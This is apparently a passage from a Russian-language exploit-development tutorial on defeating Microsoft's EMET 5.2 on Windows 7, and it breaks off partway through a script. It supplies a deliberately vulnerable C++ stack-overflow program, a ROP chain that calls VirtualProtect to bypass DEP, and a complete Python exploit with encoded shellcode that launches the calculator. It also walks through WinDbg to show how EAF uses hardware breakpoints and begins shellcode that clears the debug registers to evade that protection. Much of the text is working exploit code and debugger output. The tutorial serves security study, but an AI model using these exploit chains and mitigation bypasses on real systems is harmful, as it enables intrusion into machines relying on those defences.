Введение
EMET расшифровывается как Enhanced Mitigation Experience Toolkit (загрузить). На момент написания статьи, последней версией, была версия 5.2.
Как и раньше будем работать с Windows 7 SP1 64-bit.
Предупреждение
EMET 5.2 может конфликтовать с некоторыми фаерволами и антивирусами. Например, я потратил кучу времени пытаясь понять, почему EMET обнаруживает попытки атаки, там, где их не было. В итоге, оказалось, что конфликт вызывал Comodo Firewall. Поэтому я полностью удалил EMET.
Хороших фаерволов не так много, поэтому я оставил Comodo Firewall в покое и решил работать на виртуальной машине (я использую VirtualBox).
Техники защиты
Как и предполагает имя, EMET пытается смягчить последствия от использования эксплойтов. Это достигается реализацией следующих защит:
-
Data Execution Prevention (DEP)
Останавливает выполнение инструкций, если они располагаются в памяти, которая помечена как не исполняемая. -
Structured Exception Handler Overwrite Protection (SEHOP)
Предотвращает методы эксплуатации, которые нацелены на перезапись SEH (Structured Exception Handler). -
Null Page Protection (NullPage)
Предварительно выделяет память под Null Page, чтобы предотвратить её использование в вредоносных целях. -
Heap Spray Protection (HeapSpray)
Предварительно выделяет области памяти, которые часто используются атакующими для вредоносного кода.
(Например, 0x0a040a04; 0x0a0a0a0a; 0x0b0b0b0b; 0x0c0c0c0c; 0x0d0d0d0d; 0x0e0e0e0e; 0x04040404; 0x05050505; 0x06060606; 0x07070707; 0x08080808; 0x09090909; 0x20202020; 0x14141414) -
Export Address Table Access Filtering (EAF)
Регулирует доступ к таблице экспорта (EAT, Export Address Table) исходя из вызывающего кода. -
Export Address Table Access Filtering Plus (EAF+)
Блокирует попытки чтения таблиц импорта и экспорта из модулей, которые обычно используются для исследования памяти во время эксплуатации уязвимостей, котоые связанны с повреждением памяти. -
Mandatory Address Space Layout Randomization (MandatoryASLR)
Рандомизирует расположение модулей в памяти, ограничивая возможность атакующего ссылаться на заранее предопределенные адреса в памяти. -
Bottom-Up Address Space Layout Randomization (BottomUpASLR)
Улучшает технику MandatoryASRL путем рандомизации базового адреса в bottom-up allocations. -
Load Library Protection (LoadLib)
Блокирует загрузку модулей через UNC-пути (например, \evilsite\bad.dll), распространенная техника в ROP (Return Oriented Programming) атаках. -
Memory Protection (MemProt)
Отключает возможность пометки региона памяти, как исполняемой, если она находится в стеке. Так же распространена среди ROP-атак. -
ROP Caller Check (Caller)
Останавливает выполнение критических функций, если переход на их код был осуществлен через RET-инструкцию, общий метод среди ROP-атак. -
ROP Simulate Execution Flow (SimExecFlow)
Воспроизводит поток выполнения команд, которые следуют после выполнения адреса возврата, пытаясь таким образом обнаружить ROP-атаки. -
Stack Pivot (StackPivot)
Проверяет, был ли изменен указатель стека, на регион памяти, который контролирует атакующий, распространенная техника среди ROP-атак. -
Attack Surface Reduction (ASR)
Препятствует загрузке некоторых, заданных модулей из адресного пространства защищенного процесса. Звучит довольно пугающе, не так ли? Но давайте не будем преждевременно поддаваться страху.
Программа
Исследовать EMET лучше всего на своих собственных, маленьких C/C++ приложениях. Мы будем использовать exploitme3.cpp (из статьи), но с небольшими изменениями:
#include <cstdio>
_declspec(noinline) int f() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\deleteme\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
int main() {
char moreStack[10000];
for (int i = 0; i < sizeof(moreStack); ++i)
moreStack[i] = i;
return f();
}
Стековая переменная moreStack даст нам больше пространства на стеке. Не забывайте, что стек растет с верху в низ, в то время как fread пишет по адресам с низу в верх. Без этого дополнительного пространства на стеке, fread может достигнут конца стека и вызвать сбой в программе.
Цикл в функции main необходим по той причине, что без него оптимизация удалит переменную moreStack из кода. Кроме того, если функция f будет встраиваемой (inlined), то массив name будет может быть размещен до moreStack, что противоречит нашей цели. Чтобы избежать это, нам нужно использовать _declspec(noinline).
Как и делали раньше, нам нужно отключить Stack Cookies, но DEP оставить включенным. Для этого перейдите в настройки проекта “Project => Properties” и измените конфигурацию для Release, как показано ниже:
- Configuration Properties => C/C++ => Code Generation => Security Check: Disable Security Check (/GS-)
Убедитесь что DEP включен:
- Configuration Properties => Linker => Advanced => Data Execution Prevention (DEP): Yes (/NXCOMPAT)
Некоторые соображения насчет ASLR
Мы знаем, что для победы над ASLR нужно иметь какую-нибудь утечку (info leak) и в следующих двух частях мы разработаем эксплойты для Internet Explorer 10 и 11 с включенной поддержкой ASLR, но сейчас, давайте проигнорируем ASLR и сконцентрируемся на DEP и ROP.
Наш exploitme3 использует библиотеку msvcr120.dll. К сожалению, при каждой загрузке программы, библиотека загружается по разным адресам. Мы могли бы построить ROP-цепочку из системных библиотек (kernel32.dll, ntdll.dll, etc), но в этом мало смысла. Мы сделали многое, чтобы создать надежный шеллкод, который получает нужные нам адреса API-функций через таблицу экспорта (EAT, Export Address Tables). Если бы мы жестко задали адреса гаджетов, взятые из kernel32.dll и ntdll.dll, тогда был бы смысл задать таким же образом и адреса API-функций.
Итак, правильным решением будет использование гаджетов из msvcr120.dll. К сожалению, если адрес kernel32.dll и ntdll.dll изменяется только при перезагрузке Windows, то адрес msvcr120.dll меняется при каждом перезапуске expoitme3.
Разница между этими двумя поведениями связана с тем, что когда exploitme3 запускается, библиотеки kernel32.dll и ntdll.dll уже загружены в память, в то время как msvcr120.dll еще нет. Одним из решений этой проблемы является использование такой программы:
#include <stdio.h>
#include <conio.h>
int main() {
printf("msvcr120 = %p\n", GetModuleHandle(L"msvcr120"));
printf("--- press any key ---\n");
_getch();
return 0;
}
До тех пор, пока мы не завершим эту программу, базовый адрес msvcr120.dll не изменится. Когда мы запустим expoitme3, Windows увидит, что msvcr120.dll уже загружена в память, и просто спроецирует (map) её на адресное пространство exploitme3. Более того, msvcr120.dll будет спроецирована по тому же адресу, потому что она содержит зависимый код (position-dependent code), который не будет работать если разместить его по другому адресу.
Initial Exploit
Откройте EMET и нажмите на кнопку Apps:
Теперь нажмите на Add Applications и выберите exploitme3.exe:
Вы должны видеть, что exploitme3 был добавлен к списку:
Теперь давайте отключим EAF, LoadLib, MemProt, Caller, SimExecFlow и StackPivot:
Нажмите ОК для сохранения настроек.
Теперь давайте загрузим exmpoitme3.exe в WinDbg (статья) и используем mona (статья) для генерации ROP-цепочки для VirtualProtect:
.load pykd.pyd
!py mona rop -m msvcr120
Вот ROP-цепочка, которая была найдена в файле rop_chains.txt, который был создан mona:
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x7053fc6f, # POP EBP # RETN [MSVCR120.dll]
0x7053fc6f, # skip 4 bytes [MSVCR120.dll]
0x704f00f6, # POP EBX # RETN [MSVCR120.dll]
0x00000201, # 0x00000201-> ebx
0x704b6580, # POP EDX # RETN [MSVCR120.dll]
0x00000040, # 0x00000040-> edx
0x7049f8cb, # POP ECX # RETN [MSVCR120.dll]
0x705658f2, # &Writable location [MSVCR120.dll]
0x7048f95c, # POP EDI # RETN [MSVCR120.dll]
0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
0x704eb436, # POP ESI # RETN [MSVCR120.dll]
0x70493a17, # JMP [EAX] [MSVCR120.dll]
0x7053b8fb, # POP EAX # RETN [MSVCR120.dll]
0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll]
0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll]
0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
Как работает эта ROP-цепочка, мы видели в статье Exploitme3 (DEP), поэтому не будем повторяться. Из той же статьи возьмем скрипт для генерации файла name.dat и будем изменять его по мере необходимости. Это начальная версия:
import struct
# The signature of VirtualProtect is the following:
# BOOL WINAPI VirtualProtect(
# _In_ LPVOID lpAddress,
# _In_ SIZE_T dwSize,
# _In_ DWORD flNewProtect,
# _Out_ PDWORD lpflOldProtect
# );
# After PUSHAD is executed, the stack looks like this:
# .
# .
# .
# EDI (ptr to ROP NOP (RETN))
# ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
# EBP (ptr to POP (skips EAX on the stack))
# ESP (lpAddress (automatic))
# EBX (dwSize)
# EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
# ECX (lpOldProtect (ptr to writeable address))
# EAX (address of ptr to VirtualProtect)
# lpAddress:
# ptr to "call esp"
# <shellcode>
msvcr120 = 0x73c60000
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
def create_rop_chain(code_size):
rop_gadgets = [
md + 0x7053fc6f, # POP EBP # RETN [MSVCR120.dll]
md + 0x7053fc6f, # skip 4 bytes [MSVCR120.dll]
md + 0x704f00f6, # POP EBX # RETN [MSVCR120.dll]
code_size, # code_size -> ebx
md + 0x704b6580, # POP EDX # RETN [MSVCR120.dll]
0x00000040, # 0x00000040-> edx
md + 0x7049f8cb, # POP ECX # RETN [MSVCR120.dll]
md + 0x705658f2, # &Writable location [MSVCR120.dll]
md + 0x7048f95c, # POP EDI # RETN [MSVCR120.dll]
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
md + 0x704eb436, # POP ESI # RETN [MSVCR120.dll]
md + 0x70493a17, # JMP [EAX] [MSVCR120.dll]
md + 0x7053b8fb, # POP EAX # RETN [MSVCR120.dll]
md + 0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll]
md + 0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll]
md + 0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
def write_file(file_path):
with open(file_path, 'wb') as f:
ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll]
shellcode = (
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
"\x30\x03\xc6\xeb\xdd")
code_size = len(shellcode)
name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(code_size) + shellcode
f.write(name)
write_file(r'c:\deleteme\name.dat')
Обратите внимание на то, что вам нужно присвоить правильное значение переменной msvcr120. Так же не забудьте запустить и оставлять работающей ту маленькую программу, которая не дает библиотеке msvcr120.dll менять свой базовый адрес. Эта же программа так же сообщает нам текущий базовый адрес msvcr120.dll.
Теперь запустите exploitme3.exe и вы увидите, как запустится калькулятор!
EAF
Теперь давайте активируем EAF защиту для exploitme3 программы и запустим её снова. На этот раз EMET обнаружит наш эксплойт и закроет exploitme3. В официальном описании к EAF говорится, что оно:
регулирует доступ к таблице экспорта (EAT, Export Address Table) исходя из вызывающего кода.
Примечание: перед отладкой exploitme3.exe, убедитесь, что в той же папке, где лежит эта программа, есть файл exploitme3.pdb, который содержит отладочную информацию.
Давайте откроем exploitme3 в WinDbg (Ctrl+E) и поставим брейкпоинт на main:
bp exploitme3!main
Когда нажмем F5 (go), получим странное исключение:
(f74.c20): Single step exception - code 80000004 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000bff98 ebx=76462a38 ecx=00000154 edx=763a0000 esi=7645ff70 edi=764614e8
eip=76ec01ae esp=003ef214 ebp=003ef290 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000287
ntdll!LdrpSnapThunk+0x1c1:
76ec01ae 03c2 add eax,edx
Вот код:
76ec018e ff7618 push dword ptr [esi+18h]
76ec0191 ff75e0 push dword ptr [ebp-20h]
76ec0194 e819020000 call ntdll!LdrpNameToOrdinal (76ec03b2)
76ec0199 8b55d8 mov edx,dword ptr [ebp-28h]
76ec019c 0fb7c0 movzx eax,ax
76ec019f 0fb7c8 movzx ecx,ax
76ec01a2 3b4e14 cmp ecx,dword ptr [esi+14h]
76ec01a5 0f83b6f60000 jae ntdll!LdrpSnapThunk+0x12b (76ecf861)
76ec01ab 8b461c mov eax,dword ptr [esi+1Ch] <---------------- this generated the exception
76ec01ae 03c2 add eax,edx <--------------------- we're here!
76ec01b0 8d0c88 lea ecx,[eax+ecx*4]
76ec01b3 8b01 mov eax,dword ptr [ecx]
76ec01b5 03c2 add eax,edx
76ec01b7 8b7d14 mov edi,dword ptr [ebp+14h]
76ec01ba 8907 mov dword ptr [edi],eax
76ec01bc 3bc6 cmp eax,esi
76ec01be 0f87ca990000 ja ntdll!LdrpSnapThunk+0x1d7 (76ec9b8e)
76ec01c4 833900 cmp dword ptr [ecx],0
Single Step Exception это отладочное исключение. Вероятно, это исключение было сгенерировано кодом из предыдущей строки.
76ec01ab 8b461c mov eax,dword ptr [esi+1Ch] <---------------- this generated the exception
Давайте посмотрим на что указывает ESI:
0:000> ln @esi
(7645ff70) kernel32!$$VProc_ImageExportDirectory | (76480000) kernel32!BasepAllowResourceConversion
Exact matches:
kernel32!$$VProc_ImageExportDirectory = <no type information>
Кажется, ESI указывает на таблицу экспорта (EAT) из kernel32! Мы можем подтвердить, что ESI действительно указывает на Export Directory (другое имя EAT), следующим образом:
0:000> !dh kernel32
File Type: DLL
FILE HEADER VALUES
14C machine (i386)
4 number of sections
53159A85 time date stamp Tue Mar 04 10:19:01 2014
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
2102 characteristics
Executable
32 bit word machine
DLL
OPTIONAL HEADER VALUES
10B magic #
9.00 linker version
D0000 size of code
30000 size of initialized data
0 size of uninitialized data
13293 address of entry point
10000 base of code
----- new -----
763a0000 image base
10000 section alignment
10000 file alignment
3 subsystem (Windows CUI)
6.01 operating system version
6.01 image version
6.01 subsystem version
110000 size of image
10000 size of headers
1105AE checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
140 DLL characteristics
Dynamic base
NX compatible
BFF70 [ A9B1] address of Export Directory <----------------------------------
CA924 [ 1F4] address of Import Directory
F0000 [ 528] address of Resource Directory
0 [ 0] address of Exception Directory
0 [ 0] address of Security Directory
100000 [ AD9C] address of Base Relocation Directory
D0734 [ 38] address of Debug Directory
0 [ 0] address of Description Directory
0 [ 0] address of Special Directory
0 [ 0] address of Thread Storage Directory
83510 [ 40] address of Load Configuration Directory
0 [ 0] address of Bound Import Directory
10000 [ DF0] address of Import Address Table Directory
0 [ 0] address of Delay Import Directory
0 [ 0] address of COR20 Header Directory
0 [ 0] address of Reserved Directory
SECTION HEADER #1
.text name
C0796 virtual size
10000 virtual address
D0000 size of raw data
10000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
60000020 flags
Code
(no align specified)
Execute Read
Debug Directories(2)
Type Size Address Pointer
cv 26 d0770 d0770 Format: RSDS, guid, 2, wkernel32.pdb
( 10) 4 d076c d076c
SECTION HEADER #2
.data name
100C virtual size
E0000 virtual address
10000 size of raw data
E0000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
C0000040 flags
Initialized Data
(no align specified)
Read Write
SECTION HEADER #3
.rsrc name
528 virtual size
F0000 virtual address
10000 size of raw data
F0000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
40000040 flags
Initialized Data
(no align specified)
Read Only
SECTION HEADER #4
.reloc name
AD9C virtual size
100000 virtual address
10000 size of raw data
100000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
42000040 flags
Initialized Data
Discardable
(no align specified)
Read Only
Мы видим, что ESI и правда указывает на Export Directory:
0:000> ? @esi == kernel32 + bff70
Evaluate expression: 1 = 00000001 (1 means True)
Инструкция, которая вызвала исключение, обратилась к Export Dicrectory по смещению 0x1C. Посмотрим, на что указывает это смещение, открыв файл winnt.h:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics; // 0
DWORD TimeDateStamp; // 4
WORD MajorVersion; // 8
WORD MinorVersion; // 0xa
DWORD Name; // 0xc
DWORD Base; // 0x10
DWORD NumberOfFunctions; // 0x14
DWORD NumberOfNames; // 0x18
DWORD AddressOfFunctions; // 0x1c <----------------------
DWORD AddressOfNames; // 0x20
DWORD AddressOfNameOrdinals; // 0x24
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
В статье Shellcode мы узнали, что AddressOfFunctions это указатель на массив, который содержит адреса экспортируемых функций.
Если посмотреть на стек (stack trace), увидим, что код был вызван из функции GetProcAddress:
0:000> k 10
ChildEBP RetAddr
003ef290 76ec032a ntdll!LdrpSnapThunk+0x1c1
003ef34c 76ec0202 ntdll!LdrGetProcedureAddressEx+0x1ca
003ef368 76261e59 ntdll!LdrGetProcedureAddress+0x18
003ef390 73c8d45e KERNELBASE!GetProcAddress+0x44 <------------------------
003ef3a4 73c8ca0d MSVCR120!__crtLoadWinApiPointers+0x1d [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 752]
003ef3a8 73c8ca91 MSVCR120!_mtinit+0x5 [f:\dd\vctools\crt\crtw32\startup\tidtable.c @ 97]
003ef3d8 73c71a5f MSVCR120!__CRTDLL_INIT+0x2f [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 235]
003ef3ec 76ec99a0 MSVCR120!_CRTDLL_INIT+0x1c [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 214]
003ef40c 76ecd939 ntdll!LdrpCallInitRoutine+0x14
003ef500 76ed686c ntdll!LdrpRunInitializeRoutines+0x26f
003ef680 76ed5326 ntdll!LdrpInitializeProcess+0x1400
003ef6d0 76ec9ef9 ntdll!_LdrpInitialize+0x78
003ef6e0 00000000 ntdll!LdrInitializeThunk+0x10
Это первый раз, когда мы видим такое исключение, оно должно исходить от EMET. Похоже, что при активированной технике EAF, EMET перехватывает любые обращения к AddressOfFunctions. Как он это делает?
Для этой цели, в WinDbg мы могли бы использовать такую команду как ba, которая полагается на аппаратные брейкпойнты (hardware breakpoint), поэтому EMET должен использовать этот же метод. Давайте посмотрим на отладочные регистры (debug registers):
0:000> rM 20
dr0=76ea0204 dr1=7645ff8c dr2=7628b85c
dr3=00000000 dr6=ffff0ff2 dr7=0fff0115
ntdll!LdrpSnapThunk+0x1c1:
76ec01ae 03c2 add eax,edx
(Если вы не знаете, что делает команда, смотрите справку к ней, с помощью .hh)
Значение в регистре DR1 кажется знакомым:
0:000> ? @dr1 == esi+1c
Evaluate expression: 1 = 00000001
Идеальное совпадение!
Debug Registers
Будем честными: нет никакой необходимости изучать формат отладочных регистров. Очевидно, что в нашем случае DR0, DR1 и DR2 содержат адреса, куда установлены аппаратные брейкпойнты. Давайте посмотрим, на что они указывают (на DR1 мы уже смотрели ранее):
0:000> ln dr0
(76ea01e8) ntdll!$$VProc_ImageExportDirectory+0x1c | (76eaf8a0) ntdll!NtMapUserPhysicalPagesScatter
0:000> ln dr1
(7645ff70) kernel32!$$VProc_ImageExportDirectory+0x1c | (76480000) kernel32!BasepAllowResourceConversion
0:000> ln dr2
(76288cb0) KERNELBASE!_NULL_IMPORT_DESCRIPTOR+0x2bac | (76291000) KERNELBASE!KernelBaseGlobalData
Первые два указывают на Export Directories из ntdll и kernel32, тогда как третий выглядит иначе. Посмотрим:
0:000> !dh kernelbase
File Type: DLL
FILE HEADER VALUES
14C machine (i386)
4 number of sections
53159A86 time date stamp Tue Mar 04 10:19:02 2014
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
2102 characteristics
Executable
32 bit word machine
DLL
OPTIONAL HEADER VALUES
10B magic #
9.00 linker version
3F800 size of code
4400 size of initialized data
0 size of uninitialized data
74C1 address of entry point
1000 base of code
----- new -----
76250000 image base
1000 section alignment
200 file alignment
3 subsystem (Windows CUI)
6.01 operating system version
6.01 image version
6.01 subsystem version
47000 size of image
400 size of headers
49E52 checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
140 DLL characteristics
Dynamic base
NX compatible
3B840 [ 4F19] address of Export Directory <-------------------------
38C9C [ 28] address of Import Directory
43000 [ 530] address of Resource Directory
0 [ 0] address of Exception Directory
0 [ 0] address of Security Directory
44000 [ 25F0] address of Base Relocation Directory
1660 [ 1C] address of Debug Directory
0 [ 0] address of Description Directory
0 [ 0] address of Special Directory
0 [ 0] address of Thread Storage Directory
69D0 [ 40] address of Load Configuration Directory
0 [ 0] address of Bound Import Directory
1000 [ 654] address of Import Address Table Directory
0 [ 0] address of Delay Import Directory
0 [ 0] address of COR20 Header Directory
0 [ 0] address of Reserved Directory
SECTION HEADER #1
.text name
3F759 virtual size
1000 virtual address
3F800 size of raw data
400 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
60000020 flags
Code
(no align specified)
Execute Read
Debug Directories(1)
Type Size Address Pointer
cv 28 6a18 5e18 Format: RSDS, guid, 1, wkernelbase.pdb
SECTION HEADER #2
.data name
11E8 virtual size
41000 virtual address
400 size of raw data
3FC00 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
C0000040 flags
Initialized Data
(no align specified)
Read Write
SECTION HEADER #3
.rsrc name
530 virtual size
43000 virtual address
600 size of raw data
40000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
40000040 flags
Initialized Data
(no align specified)
Read Only
SECTION HEADER #4
.reloc name
2A18 virtual size
44000 virtual address
2C00 size of raw data
40600 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
42000040 flags
Initialized Data
Discardable
(no align specified)
Read Only
0:000> ? kernelbase+3B840+1c
Evaluate expression: 1982380124 = 7628b85c <----------------------
0:000> ? @dr2
Evaluate expression: 1982380124 = 7628b85c <----------------------
Ложная тревога: DR2 указывает на Export Directory из KERNELBASE!
В любом случае, исключительно ради нашего любопытства, давайте посмотрим в Intel Manuals (3B). Вот формат отладочных регистров:
Предельно ясно, что регистры DR0, DR1, DR2 и DR3 определяют адреса брейкпойнтов. Регистр DR6 является регистром состояния, которые хранит информацию о последнем отладочном исключении, тогда как DR7 содержит настройки для 4 брейкпойнтов. Если вам интересны детали, обращайтесь к руководству от Intel самостоятельно.
Все что мы должны знать, это то, как отключить аппаратные брейкпойнты. Для этого нужно просто очистить отладочные регистры. И действительно, если вы загрузите exploitme3.exe в WinDbg и посмотрите на эти регистры до того, как EMET их изменит, вы увидите следующее:
0:000> rM 20
dr0=00000000 dr1=00000000 dr2=00000000
dr3=00000000 dr6=00000000 dr7=00000000
ntdll!LdrpDoDebuggerBreak+0x2c:
76f3103b cc int 3
Очистка отладочных регистров (1)
Очистка отладочных регистров должна быть довольно простым делом, не так ли? Давайте пробуем!
Мы можем поместить код для очистки этих регистров прямо перед нашим шеллкодом, так что бы он мог безнаказанно получить доступ к Export Directories.
Для генерации машинного кода, можно использовать asm-вставки в Visual Studio. После компиляции запустите программу на отладку и перейдите в окно Дизассемблера (Go to the Disassembly), для этого нажмите правой кнопкой мыши на ассемблерной инструкции. Теперь, из этого окна, мы можем взять и скопировать код в PyCharm и немного отредактировать его.
Вот результат:
import struct
# The signature of VirtualProtect is the following:
# BOOL WINAPI VirtualProtect(
# _In_ LPVOID lpAddress,
# _In_ SIZE_T dwSize,
# _In_ DWORD flNewProtect,
# _Out_ PDWORD lpflOldProtect
# );
# After PUSHAD is executed, the stack looks like this:
# .
# .
# .
# EDI (ptr to ROP NOP (RETN))
# ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
# EBP (ptr to POP (skips EAX on the stack))
# ESP (lpAddress (automatic))
# EBX (dwSize)
# EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
# ECX (lpOldProtect (ptr to writeable address))
# EAX (address of ptr to VirtualProtect)
# lpAddress:
# ptr to "call esp"
# <shellcode>
msvcr120 = 0x73c60000
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
def create_rop_chain(code_size):
rop_gadgets = [
md + 0x7053fc6f, # POP EBP # RETN [MSVCR120.dll]
md + 0x7053fc6f, # skip 4 bytes [MSVCR120.dll]
md + 0x704f00f6, # POP EBX # RETN [MSVCR120.dll]
code_size, # code_size -> ebx
md + 0x704b6580, # POP EDX # RETN [MSVCR120.dll]
0x00000040, # 0x00000040-> edx
md + 0x7049f8cb, # POP ECX # RETN [MSVCR120.dll]
md + 0x705658f2, # &Writable location [MSVCR120.dll]
md + 0x7048f95c, # POP EDI # RETN [MSVCR120.dll]
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
md + 0x704eb436, # POP ESI # RETN [MSVCR120.dll]
md + 0x70493a17, # JMP [EAX] [MSVCR120.dll]
md + 0x7053b8fb, # POP EAX # RETN [MSVCR120.dll]
md + 0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll]
md + 0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll]
md + 0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
def write_file(file_path):
with open(file_path, 'wb') as f:
ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll]
shellcode = (
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
"\x30\x03\xc6\xeb\xdd")
disable_EAF = (
"\x33\xC0" + # xor eax,eax
"\x0F\x23\xC0" + # mov dr0,eax
"\x0F\x23\xC8" + # mov dr1,eax
